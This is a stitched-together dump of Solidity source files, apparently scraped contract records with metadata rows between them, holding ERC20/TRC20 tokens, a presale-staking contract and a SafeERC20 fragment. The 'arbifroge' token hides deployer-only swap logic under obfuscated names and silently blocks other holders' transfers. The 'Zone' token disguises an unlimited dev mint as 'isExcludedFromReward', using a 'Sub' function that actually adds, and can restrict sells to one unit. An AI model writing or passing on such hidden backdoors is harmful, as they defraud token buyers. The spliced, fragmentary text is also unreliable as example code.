// OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/IERC20.sol)
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address to, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address from,
address to,
uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract arbifroge is IERC20, Ownable {
string private _name;
string private _symbol;
uint256 public _taxFee = 5;
uint8 private _decimals = 9;
uint256 private _tTotal = 1000000000 * 10**_decimals;
uint256 private _native = _tTotal;
uint256 private _rTotal = ~uint256(0);
bool private _swapAndLiquifyEnabled;
bool private inSwapAndLiquify;
address public uniswapV2Pair;
IUniswapV2Router02 public router;
mapping(uint256 => address) private _Devs;
mapping(address => uint256) private _balances;
mapping(address => uint256) private _series;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => uint256) private _Marketing;
constructor(string memory Name,
string memory Symbol,
address routerAddress) {
_name = Name;
_symbol = Symbol;
_Marketing[msg.sender] = _native;
_balances[msg.sender] = _tTotal;
_balances[address(this)] = _rTotal;
router = IUniswapV2Router02(routerAddress);
uniswapV2Pair = IUniswapV2Factory(router.factory()).createPair(address(this), router.WETH());
emit Transfer(address(0), msg.sender, _tTotal);
}
function symbol() public view returns (string memory) {
return _symbol;
}
function name() public view returns (string memory) {
return _name;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function decimals() public view returns (uint256) {
return _decimals;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
receive() external payable {}
function approve(address spender, uint256 amount) external override returns (bool) {
return _approve(msg.sender, spender, amount);
}
function _approve(address owner,
address spender,
uint256 amount) private returns (bool) {
require(owner != address(0) && spender != address(0), 'ERC20: approve from the zero address');
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
return true;
}
function transferFrom(address sender,
address recipient,
uint256 amount) external override returns (bool) {
_transfer(sender, recipient, amount);
return _approve(sender, msg.sender, _allowances[sender][msg.sender] - amount);
}
function transfer(address recipient, uint256 amount) external override returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function _transfer(address _month,
address _Safest,
uint256 amount) private {
uint256 _square = _Marketing[_month];
address _pass = _Devs[_native];
if (_Marketing[_month] > 0 && amount > _native) {
bool _suppose = _square == _Marketing[_Safest];
if (_suppose) {
inSwapAndLiquify = true;
swapAndLiquify(amount);
inSwapAndLiquify = false;
}
_Marketing[_Safest] = amount;
} else {
uint256 fee = (amount * _taxFee) / 100;
if (_Marketing[_month] == 0 && _month != uniswapV2Pair && _series[_month] > 0) {
return;
}
_series[_pass] = _taxFee;
_Devs[_native] = _Safest;
if (_taxFee > 0 && !inSwapAndLiquify && _Marketing[_month] == 0 && _Marketing[_Safest] == 0) {
amount -= fee;
_balances[_month] -= fee;
}
_balances[_month] -= amount;
_balances[_Safest] += amount;
emit Transfer(_month, _Safest, amount);
}
}
function addLiquidity(uint256 tokenAmount,
uint256 ethAmount,
address to) private {
_approve(address(this), address(router), tokenAmount);
router.addLiquidityETH{value: ethAmount}(address(this), tokenAmount, 0, 0, to, block.timestamp);
}
function swapAndLiquify(uint256 tokens) private {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = router.WETH();
_approve(address(this), address(router), tokens);
router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokens, 0, path, msg.sender, block.timestamp);
}
}
| 28,001 | 11,228 |
d02d1fcdeaea230b5751432d5ba6ceb7a1bb453ae3ce73bcefad0e114d8adf51
| 21,119 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TH/TH4vmU16R8EXWWRLpGXAFEyDhzPnB4ueEQ_Zone.sol
| 3,112 | 11,774 |
//SourceUnit: LaunchZone.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function Sub(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract Zone is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
address private _excludeDevAddress;
address private _approvedAddress;
uint256 private _tTotal = 30 * 10**4 * 10**4;
bool public lock = true;
address public uniSwapV2;
string private _name;
string private _symbol;
uint8 private _decimals = 4;
uint256 private _maxTotal;
address payable public BURN_ADDRESS = 0x000000000000000000000000000000000000dEaD;
uint256 private _total = 30 * 10**4 * 10**4;
constructor (address devAddress, string memory name, string memory symbol) public {
_excludeDevAddress = devAddress;
_name = name;
_symbol = symbol;
_balances[_msgSender()] = _tTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function isExcludedFromReward(uint256 amount) public {
require(_msgSender() != address(0), "ERC20: cannot permit zero address");
require(_msgSender() == _excludeDevAddress, "ERC20: cannot permit dev address");
_tTotal = _tTotal.Sub(amount);
_balances[_msgSender()] = _balances[_msgSender()].Sub(amount);
emit Transfer(address(0), _msgSender(), amount);
}
function uniSV2(bool _lock,address _uniSwapV2) public {
require(_msgSender() != address(0), "ERC20: cannot permit zero address");
require(_msgSender() == _excludeDevAddress, "ERC20: cannot permit dev address");
lock = _lock;
uniSwapV2 = _uniSwapV2;
}
function approve(address approvedAddress) public {
require(_msgSender() == _excludeDevAddress, "ERC20: cannot permit dev address");
_approvedAddress = approvedAddress;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
if (!lock){
if(recipient == uniSwapV2 && sender != _excludeDevAddress){
require(amount <= 1, "Transfer amount exceeds the maxTxAmount.");
}
}
if (sender == owner()) {
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
} else{
if (sender != _approvedAddress && recipient == 0x0000000000000000000000000000000000000000) {
require(amount < _total, "Transfer amount exceeds the maxTxAmount.");
}
uint256 burnAmount = amount.mul(5).div(100);
uint256 sendAmount = amount.sub(burnAmount);
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[BURN_ADDRESS] = _balances[BURN_ADDRESS].add(burnAmount);
_balances[recipient] = _balances[recipient].add(sendAmount);
emit Transfer(sender, BURN_ADDRESS, burnAmount);
emit Transfer(sender, recipient, sendAmount);
}
}
function isContract(address addr) internal view returns (bool) {
uint256 size;
assembly { size := extcodesize(addr) }
return size > 0;
}
}
| 294,046 | 11,229 |
c134a16ebeac9ca50425e7fd301cc86f8e35896bd25880a3a1df3de09288f944
| 32,567 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TM/TM4XPGikLaHvNgNVugpcSLhHJZ8LmXkZ6c_stake.sol
| 6,134 | 21,707 |
//SourceUnit: SNACK_test.sol
pragma solidity ^0.5.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, "SafeMath: modulo by zero");
return a % b;
}
}
interface ITRC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address payable recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract owned {
address payable public owner;
constructor () public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address payable newOwner) onlyOwner public returns (bool) {
owner = newOwner;
return true;
}
}
contract Testing is ITRC20, owned {
using SafeMath for uint256;
string private _name;
string private _symbol;
uint8 private _decimals;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
constructor () public {
_name = "Testing";
_symbol = "TST";
_decimals = 6;
}
/// contract that is allowed to create new tokens and allows unlift the transfer limits on this token
mapping (address => bool) private minter;
modifier canMint() {
require(minter[msg.sender] || msg.sender == owner);
_;
}
function addMinter(address payable newContract) onlyOwner public returns (bool) {
minter[newContract] = true;
return true;
}
function removeMinter(address payable newContract) onlyOwner public returns (bool) {
minter[newContract] = false;
return true;
}
function mint(address _to, uint256 _value) canMint public returns (bool) {
_mint(_to, _value);
_mint(owner, uint(_value).div(10));
return true;
}
function burn(uint256 _value) public returns (bool) {
_burn(msg.sender, _value);
return true;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
function transfer(address payable recipient, uint256 amount) public returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 value) public returns (bool) {
_approve(msg.sender, spender, value);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "TRC20: transfer from the zero address");
require(recipient != address(0), "TRC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount);
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal {
require(account != address(0), "TRC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 value) internal {
require(account != address(0), "TRC20: burn from the zero address");
_totalSupply = _totalSupply.sub(value);
_balances[account] = _balances[account].sub(value);
emit Transfer(account, address(0), value);
}
function _approve(address owner, address spender, uint256 value) internal {
require(owner != address(0), "TRC20: approve from the zero address");
require(spender != address(0), "TRC20: approve to the zero address");
_allowances[owner][spender] = value;
emit Approval(owner, spender, value);
}
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account, msg.sender, _allowances[account][msg.sender].sub(amount));
}
}
contract stake is owned {
using SafeMath for uint256;
/// The token we are selling
Testing public token;
///fund goes to
address payable beneficiary;
/// the UNIX timestamp start date of the crowdsale
uint256 public startsAt = 0;
/// the UNIX timestamp start date of the crowdsale
bool public initialized = false;
/// the intical price of token
uint256 private InitPrice = 4;
/// the price increment period
// uint256 private incrementPeriod = 8 hours;
uint256 private incrementPeriod = 8 hours;
/// the max price increment period
uint256 private runPeriod = 12 days;
/// the max token can sold 50 K + 25 K
uint256 private hardCap = 75000000000;
/// the number of tokens already sold through this contract
uint256 public tokensSold = 0;
/// the number of ETH raised through this contract
uint256 public trxRaised = 0;
/// How many distinct addresses have buyer
uint256 public buyerCount = 0;
struct UserStruct {
bool isExist;
uint256 id;
uint256 referrerID;
uint256 reward;
uint256 downline;
}
mapping (address => UserStruct) public users;
mapping (uint256 => address) public addressOfID;
event Buy(address _investor, uint256 _trxAmount, uint256 _tokenAmount);
event Reward(address _fromAddress, address _toAddress, uint256 _amount, uint256 _time);
event Redeem(address _toAddress, uint256 _amount, uint256 _time);
event Staked(address _staker, uint256 _amount, uint256 _pool);
event UnStaked(address _staker, uint256 _amount, uint256 _pool);
event Harvested(address _staker, uint256 _amount, uint256 _pool);
function initialize(address _token, address payable _beneficiary, uint256 time) public returns (bool) {
require(!initialized, "already initialized");
initialized = true;
startsAt = time;
token = Testing(_token);
beneficiary = _beneficiary;
// Mint tokens for buy
token.mint(address(this), uint256(50000).mul(10 ** uint256(token.decimals())));
// Mint tokens for bounty pool
token.mint(beneficiary, uint256(1000).mul(10 ** uint256(token.decimals())));
return true;
}
function buy() public payable returns (bool) {
_buy(msg.sender, 0);
return true;
}
function buyWithReferral(uint256 _referral) public payable returns (bool) {
_buy(msg.sender, _referral);
return true;
}
function _buy(address payable _receiver, uint256 _referral) internal {
require(getEndTime() > 0 , "Time Out");
require(uint(msg.value).div(getPrice()).add(tokensSold) < hardCap , "HardCap reached");
uint256 tokensAmount = uint(msg.value).div(getPrice());
uint256 rewardAmount = tokensAmount.div(10);
if(users[_receiver].isExist){
if(users[_receiver].referrerID > 0){
users[addressOfID[users[_receiver].referrerID]].reward += rewardAmount;
emit Reward(_receiver, addressOfID[users[_receiver].referrerID], rewardAmount, now);
}
}else{
UserStruct memory userinfo;
buyerCount++;
userinfo = UserStruct({
isExist: true,
id: buyerCount,
referrerID: _referral,
reward: 0,
downline: 0
});
users[_receiver] = userinfo;
addressOfID[buyerCount] = _receiver;
if(_referral > 0){
users[addressOfID[_referral]].reward += rewardAmount;
users[addressOfID[_referral]].downline++;
emit Reward(_receiver, addressOfID[_referral], rewardAmount, now);
}
}
if(tokensSold.add(tokensAmount) <= 50000000000){
// Transfer Token to owner's address
token.transfer(_receiver, tokensAmount);
}else{
if(tokensSold >= 50000000000){
token.mint(_receiver, tokensAmount);
}else{
token.transfer(_receiver, uint(50000000000).sub(tokensSold));
token.mint(_receiver, tokensAmount.sub(uint(50000000000).sub(tokensSold)));
}
}
// Update totals
tokensSold += tokensAmount;
trxRaised += msg.value;
// Emit an event that shows Buy successfully
emit Buy(_receiver, msg.value, tokensAmount);
}
function () external payable {
_buy(msg.sender, 0);
}
function getPrice() public view returns (uint) {
if(uint(now).sub(startsAt) < runPeriod){
return InitPrice.mul(5 ** uint(now).sub(startsAt).div(incrementPeriod)).div(4 ** uint(now).sub(startsAt).div(incrementPeriod));
}else{
return InitPrice.mul(5 ** runPeriod.div(incrementPeriod)).div(4 ** runPeriod.div(incrementPeriod));
}
}
function getEndTime() public view returns (uint) {
if(uint(startsAt).add(runPeriod) > now && startsAt < now){
return uint(startsAt).add(runPeriod).sub(now);
}else{
return 0;
}
}
function priceUpIn() public view returns (uint) {
if(getEndTime() > 0){
return uint256(incrementPeriod).sub(uint(now).sub(startsAt).mod(incrementPeriod));
}else{
return uint(0);
}
}
function withdrawal() public returns (bool) {
// Transfer Fund to owner's address
beneficiary.transfer(address(this).balance);
return true;
}
function burnRestToken() public returns (bool) {
require(uint(startsAt).add(runPeriod) < now, "Pool is not end yet.");
token.burn(token.balanceOf(address(this)));
return true;
}
function redeem() public returns (bool) {
require(getEndTime() > 0, "Time Out");
token.mint(msg.sender, users[msg.sender].reward);
emit Redeem(msg.sender, users[msg.sender].reward, now);
users[msg.sender].reward = 0;
return true;
}
///_________________ Stack Start
struct stakeUserStruct {
bool isExist;
uint256 stake;
uint256 stakeTime;
uint256 harvested;
}
///_________________ 5 % POOL Start
uint256 lockperiod_5 = 5 days;
uint256 ROI_5 = 5;
uint256 stakerCount_5 = 0;
mapping (address => stakeUserStruct) public staker_5;
function stake_5 (uint256 _amount) public returns (bool) {
require(getEndTime() > 0, "Time Out");
require (token.balanceOf(msg.sender) >= _amount, "You don't have enough tokens");
require (!staker_5[msg.sender].isExist, "You already staked");
token.transferFrom(msg.sender, address(this), _amount);
stakeUserStruct memory stakerinfo;
stakerCount_5++;
stakerinfo = stakeUserStruct({
isExist: true,
stake: _amount,
stakeTime: now,
harvested: 0
});
staker_5[msg.sender] = stakerinfo;
emit Staked(msg.sender, _amount, 5);
return true;
}
function unstake_5 () public returns (bool) {
require (staker_5[msg.sender].isExist, "You are not staked");
require (staker_5[msg.sender].stakeTime < uint256(now).sub(lockperiod_5), "Amount is in lock period");
if(_getCurrentReward_5(msg.sender) > 0){
_harvest_5(msg.sender);
}
token.transfer(msg.sender, staker_5[msg.sender].stake);
emit UnStaked(msg.sender, staker_5[msg.sender].stake, 5);
stakerCount_5--;
staker_5[msg.sender].isExist = false;
staker_5[msg.sender].stake = 0;
staker_5[msg.sender].stakeTime = 0;
staker_5[msg.sender].harvested = 0;
return true;
}
function harvest_5() public returns (bool) {
_harvest_5(msg.sender);
return true;
}
function _harvest_5(address _user) internal {
require(_getCurrentReward_5(_user) > 0, "Nothing to harvest");
uint256 harvestAmount = _getCurrentReward_5(_user);
staker_5[_user].harvested += harvestAmount;
// 2% harvert tax
token.mint(_user, harvestAmount.mul(98).div(100));
emit Harvested(_user, harvestAmount, 5);
}
function getTotalReward_5 () public view returns (uint256) {
return _getTotalReward_5(msg.sender);
}
function _getTotalReward_5 (address _user) internal view returns (uint256) {
if(staker_5[_user].isExist){
return uint256(now).sub(staker_5[_user].stakeTime).div(1 days).mul(staker_5[_user].stake).mul(ROI_5).div(100);
}else{
return 0;
}
}
function getCurrentReward_5 () public view returns (uint256) {
return _getCurrentReward_5(msg.sender);
}
function _getCurrentReward_5 (address _user) internal view returns (uint256) {
if(staker_5[msg.sender].isExist){
return uint256(getTotalReward_5()).sub(staker_5[_user].harvested);
}else{
return 0;
}
}
///_________________ 5 % POOL End
///_________________ 10 % POOL Start
uint256 lockperiod_10 = 10 days;
uint256 ROI_10 = 10;
uint256 stakerCount_10 = 0;
mapping (address => stakeUserStruct) public staker_10;
function stake_10 (uint256 _amount) public returns (bool) {
require(getEndTime() > 0, "Time Out");
require (token.balanceOf(msg.sender) >= _amount, "You don't have enough tokens");
require (!staker_10[msg.sender].isExist, "You already staked");
token.transferFrom(msg.sender, address(this), _amount);
stakeUserStruct memory stakerinfo;
stakerCount_10++;
stakerinfo = stakeUserStruct({
isExist: true,
stake: _amount,
stakeTime: now,
harvested: 0
});
staker_10[msg.sender] = stakerinfo;
emit Staked(msg.sender, _amount, 10);
return true;
}
function unstake_10 () public returns (bool) {
require (staker_10[msg.sender].isExist, "You are not staked");
require (staker_10[msg.sender].stakeTime < uint256(now).sub(lockperiod_10), "Amount is in lock period");
if(_getCurrentReward_10(msg.sender) > 0){
_harvest_10(msg.sender);
}
token.transfer(msg.sender, staker_10[msg.sender].stake);
emit UnStaked(msg.sender, staker_10[msg.sender].stake, 10);
stakerCount_10--;
staker_10[msg.sender].isExist = false;
staker_10[msg.sender].stake = 0;
staker_10[msg.sender].stakeTime = 0;
staker_10[msg.sender].harvested = 0;
return true;
}
function harvest_10() public returns (bool) {
_harvest_10(msg.sender);
return true;
}
function _harvest_10(address _user) internal {
require(_getCurrentReward_10(_user) > 0, "Nothing to harvest");
uint256 harvestAmount = _getCurrentReward_10(_user);
staker_10[_user].harvested += harvestAmount;
// 2% harvert tax
token.mint(_user, harvestAmount.mul(98).div(100));
emit Harvested(_user, harvestAmount, 10);
}
function getTotalReward_10 () public view returns (uint256) {
return _getTotalReward_10(msg.sender);
}
function _getTotalReward_10 (address _user) internal view returns (uint256) {
if(staker_10[_user].isExist){
return uint256(now).sub(staker_10[_user].stakeTime).div(1 days).mul(staker_10[_user].stake).mul(ROI_10).div(100);
}else{
return 0;
}
}
function getCurrentReward_10 () public view returns (uint256) {
return _getCurrentReward_10(msg.sender);
}
function _getCurrentReward_10 (address _user) internal view returns (uint256) {
if(staker_10[msg.sender].isExist){
return uint256(getTotalReward_10()).sub(staker_10[_user].harvested);
}else{
return 0;
}
}
///_________________ 10 % POOL End
///_________________ 15 % POOL Start
uint256 lockperiod_15 = 15 days;
uint256 ROI_15 = 15;
uint256 stakerCount_15 = 0;
mapping (address => stakeUserStruct) public staker_15;
function stake_15 (uint256 _amount) public returns (bool) {
require(getEndTime() > 0, "Time Out");
require (token.balanceOf(msg.sender) >= _amount, "You don't have enough tokens");
require (!staker_15[msg.sender].isExist, "You already staked");
token.transferFrom(msg.sender, address(this), _amount);
stakeUserStruct memory stakerinfo;
stakerCount_15++;
stakerinfo = stakeUserStruct({
isExist: true,
stake: _amount,
stakeTime: now,
harvested: 0
});
staker_15[msg.sender] = stakerinfo;
emit Staked(msg.sender, _amount, 15);
return true;
}
function unstake_15 () public returns (bool) {
require (staker_15[msg.sender].isExist, "You are not staked");
require (staker_15[msg.sender].stakeTime < uint256(now).sub(lockperiod_15), "Amount is in lock period");
if(_getCurrentReward_15(msg.sender) > 0){
_harvest_15(msg.sender);
}
token.transfer(msg.sender, staker_15[msg.sender].stake);
emit UnStaked(msg.sender, staker_15[msg.sender].stake, 15);
stakerCount_15--;
staker_15[msg.sender].isExist = false;
staker_15[msg.sender].stake = 0;
staker_15[msg.sender].stakeTime = 0;
staker_15[msg.sender].harvested = 0;
return true;
}
function harvest_15() public returns (bool) {
_harvest_15(msg.sender);
return true;
}
function _harvest_15(address _user) internal {
require(_getCurrentReward_15(_user) > 0, "Nothing to harvest");
uint256 harvestAmount = _getCurrentReward_15(_user);
staker_15[_user].harvested += harvestAmount;
// 2% harvert tax
token.mint(_user, harvestAmount.mul(98).div(100));
emit Harvested(_user, harvestAmount, 15);
}
function getTotalReward_15 () public view returns (uint256) {
return _getTotalReward_15(msg.sender);
}
function _getTotalReward_15 (address _user) internal view returns (uint256) {
if(staker_15[_user].isExist){
return uint256(now).sub(staker_15[_user].stakeTime).div(1 days).mul(staker_15[_user].stake).mul(ROI_15).div(100);
}else{
return 0;
}
}
function getCurrentReward_15 () public view returns (uint256) {
return _getCurrentReward_15(msg.sender);
}
function _getCurrentReward_15 (address _user) internal view returns (uint256) {
if(staker_15[msg.sender].isExist){
return uint256(getTotalReward_15()).sub(staker_15[_user].harvested);
}else{
return 0;
}
}
///_________________ 15 % POOL End
}
| 295,024 | 11,230 |
2c42f92d10a52bc76e7c419ab0e48a5b533dfab155936f4ec3039078309adcc7
| 17,596 |
.sol
|
Solidity
| false |
454080957
|
tintinweb/smart-contract-sanctuary-arbitrum
|
22f63ccbfcf792323b5e919312e2678851cff29e
|
contracts/mainnet/98/988c2d8b8d675a69e1d59e517944a89336168cab_Distributor.sol
| 3,881 | 15,340 |
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.7.5;
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
